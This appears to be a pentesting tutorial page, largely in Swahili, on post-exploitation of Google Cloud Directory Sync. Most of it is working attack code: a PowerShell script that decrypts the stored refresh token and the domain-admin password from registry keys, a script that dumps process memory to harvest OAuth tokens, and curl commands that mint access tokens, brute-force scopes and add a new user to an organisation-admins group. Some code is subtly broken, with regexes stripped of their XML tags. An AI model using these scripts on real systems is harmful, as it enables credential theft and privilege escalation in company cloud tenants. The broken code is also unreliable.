GCDS - Google Cloud Directory Sync

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Basic Information

Hii ni zana ambayo inaweza kutumika kusawazisha watumiaji na vikundi vya active directory kwenye Workspace yako (na si kinyume chake wakati wa kuandika hii).

Ni ya kuvutia kwa sababu ni zana ambayo itahitaji akidi za superuser wa Workspace na mtumiaji wa AD mwenye mamlaka. Hivyo, inaweza kuwa inawezekana kuipata ndani ya seva ya domain ambayo itakuwa ikisawazisha watumiaji mara kwa mara.

Ili kufanya MitM kwa config-manager.exe binary ongeza mstari ufuatao kwenye faili la config.manager.vmoptions: -Dcom.sun.net.ssl.checkRevocation=false

Kumbuka kwamba Winpeas ina uwezo wa kugundua GCDS, kupata taarifa kuhusu usanidi na hata nywila na akidi zilizofichwa.

Pia kumbuka kwamba GCDS haitasawazisha nywila kutoka AD hadi Workspace. Ikiwa kuna kitu itazalisha nywila za nasibu kwa watumiaji wapya walioundwa katika Workspace kama unavyoona kwenye picha ifuatayo:

GCDS - Disk Tokens & AD Credentials

Binary config-manager.exe (binary kuu ya GCDS yenye GUI) itahifadhi akidi za Active Directory zilizowekwa, token ya refresher na ufikiaji kwa default katika xml file kwenye folda C:\Program Files\Google Cloud Directory Sync katika faili inayoitwa Untitled-1.xml kwa default. Ingawa inaweza pia kuhifadhiwa katika Documents za mtumiaji au katika folda nyingine yoyote.

Zaidi ya hayo, rejista HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui ndani ya ufunguo open.recent ina njia za faili zote za usanidi zilizofunguliwa hivi karibuni (xmls). Hivyo inawezekana kuangalia ili kuzipata.

Taarifa ya kuvutia zaidi ndani ya faili itakuwa:

[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]

Note how the refresh token and the password of the user are encrypted using AES CBC with a randomly generated key and IV stored in HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util (wherever the prefs Java library store the preferences) in the string keys /Encryption/Policy/V2.iv and /Encryption/Policy/V2.key stored in base64.

Script ya Powershell ya kufungua token ya refresher na nenosiri

```powershell # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" $ivKeyName = "/Encryption/Policy/V2.iv" $keyKeyName = "/Encryption/Policy/V2.key"

Open the registry key

try { $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath) if (-not $regKey) { Throw "Registry key not found: HKCU$regPath" } } catch { Write-Error "Failed to open registry key: $_" exit }

Get Base64-encoded IV and Key from the registry

try { $ivBase64 = $regKey.GetValue($ivKeyName) $ivBase64 = $ivBase64 -replace '/', '' $ivBase64 = $ivBase64 -replace '\', '/' if (-not $ivBase64) { Throw "IV not found in registry" } $keyBase64 = $regKey.GetValue($keyKeyName) $keyBase64 = $keyBase64 -replace '/', '' $keyBase64 = $keyBase64 -replace '\', '/' if (-not $keyBase64) { Throw "Key not found in registry" } } catch { Write-Error "Failed to read registry values: $_" exit } $regKey.Close()

Decode Base64 IV and Key

$ivBytes = [Convert]::FromBase64String($ivBase64) $keyBytes = [Convert]::FromBase64String($keyBase64)

Read XML content

$xmlContent = Get-Content -Path $xmlConfigPath -Raw

Extract Base64-encoded encrypted values using regex

$refreshTokenMatch = [regex]::Match($xmlContent, "(.*?)") $refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value

$encryptedPasswordMatch = [regex]::Match($xmlContent, "(.*?)") $encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value

Decode encrypted values from Base64

$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64) $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)

Function to decrypt data using AES CBC

Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.KeySize = 256 $aes.BlockSize = 128 $aes.Key = $keyBytes $aes.IV = $ivBytes

$decryptor = $aes.CreateDecryptor() $memoryStream = New-Object System.IO.MemoryStream $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length) $cryptoStream.FlushFinalBlock() $plaintextBytes = $memoryStream.ToArray()

$cryptoStream.Close() $memoryStream.Close()

return $plaintextBytes }

Decrypt the values

$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes $refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)

$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)

Output the decrypted values

Write-Host "Decrypted Refresh Token: $refreshToken" Write-Host "Decrypted Password: $decryptedPassword"

</details>

<div data-gb-custom-block data-tag="hint" data-style='info'>

Kumbuka kwamba inawezekana kuangalia habari hii kwa kuangalia msimbo wa java wa **`DirSync.jar`** kutoka **`C:\Program Files\Google Cloud Directory Sync`** ukitafuta mfuatano `exportkeys` (kama hiyo ndiyo param ya cli ambayo binary `upgrade-config.exe` inatarajia kutupa funguo).

</div>

Badala ya kutumia skripti ya powershell, pia inawezekana kutumia binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** na param `-exportKeys` na kupata **Key** na **IV** kutoka kwenye rejista kwa hex na kisha tumia cyberchef na AES/CBC na funguo hiyo na IV ili kufichua habari.

### GCDS - Kutupa tokeni kutoka kwenye kumbukumbu

Kama ilivyo na GCPW, inawezekana kutupa kumbukumbu ya mchakato wa `config-manager.exe` (hii ndiyo jina la binary kuu la GCDS lenye GUI) na utaweza kupata tokeni za refresha na ufikiaji (ikiwa tayari zimeundwa).\
Nadhani pia unaweza kupata akidi zilizowekwa za AD.

<details>

<summary>Dump config-manager.exe processes and search tokens</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

GCDS - Kutengeneza alama za ufikiaji kutoka kwa alama za upya

Kwa kutumia alama ya upya, inawezekana kutengeneza alama za ufikiaji kwa kutumia hiyo na kitambulisho cha mteja na siri ya mteja zilizoainishwa katika amri ifuatayo:

curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCDS - Scopes

Kumbuka kwamba hata ukiwa na token ya kusasisha, si rahisi kuomba scope yoyote kwa token ya ufikiaji kwani unaweza tu kuomba scopes zinazoungwa mkono na programu ambapo unazalisha token ya ufikiaji.

Pia, token ya kusasisha si halali katika kila programu.

Kwa default GCSD haitaweza kupata kama mtumiaji kwa kila scope ya OAuth inayowezekana, hivyo kutumia script ifuatayo tunaweza kupata scopes ambazo zinaweza kutumika na refresh_token kuzalisha access_token:

Bash script to brute-force scopes

```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done

echo "" echo "" echo "Valid scopes:" cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt

</details>

Na hii ndiyo matokeo niliyopata wakati wa kuandika:

https://www.googleapis.com/auth/admin.directory.group https://www.googleapis.com/auth/admin.directory.orgunit https://www.googleapis.com/auth/admin.directory.resource.calendar https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/admin.directory.userschema https://www.googleapis.com/auth/apps.groups.settings https://www.googleapis.com/auth/apps.licensing https://www.googleapis.com/auth/contacts

#### Unda mtumiaji na umuweke kwenye kundi `gcp-organization-admins` ili kujaribu kupandisha hadhi katika GCP
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'

# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'

# You could also change the password of a user for example

Haiwezekani kumpa mtumiaji mpya jukumu la Super Amin kwa sababu token ya kusasisha haina maeneo ya kutosha kutoa mamlaka yanayohitajika.

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